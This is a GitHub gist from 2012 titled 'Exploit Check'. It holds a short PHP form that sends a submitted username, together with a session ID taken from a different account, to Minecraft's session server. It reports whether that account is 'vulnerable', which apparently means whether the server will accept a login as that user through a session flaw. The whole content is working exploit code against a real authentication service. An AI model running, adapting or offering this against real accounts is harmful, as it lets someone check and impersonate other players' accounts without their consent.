Created
July 15, 2012 06:30
-
-
Save ajvpot/3115445 to your computer and use it in GitHub Desktop.
Exploit Check
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$sessid = "herpderp"; //insert a session id from a migrated account here. | |
if(isset($_POST["name"]) && !empty($_POST["name"])){ | |
$name=$_POST["name"]; | |
$url="http://session.minecraft.net/game/joinserver.jsp?user=$name&sessionId=$sessid&serverId=a"; | |
$res=file_get_contents($url); | |
if($res == "OK") die("<b><font color=green>The account ".htmlspecialchars($name)." is vulnerable.</font></b>"); | |
if($res == "Bad login") die("<font color=red>The account ".htmlspecialchars($name)." is NOT vulnerable or is not migrated.</font>"); | |
echo "Could not determine status of account ($res)"; | |
}else{ | |
?> | |
<form name="input" action="" method="post"> | |
Username: <input type="text" name="name" /> | |
<input type="submit" value="Submit" /> | |
</form> | |
<?php | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment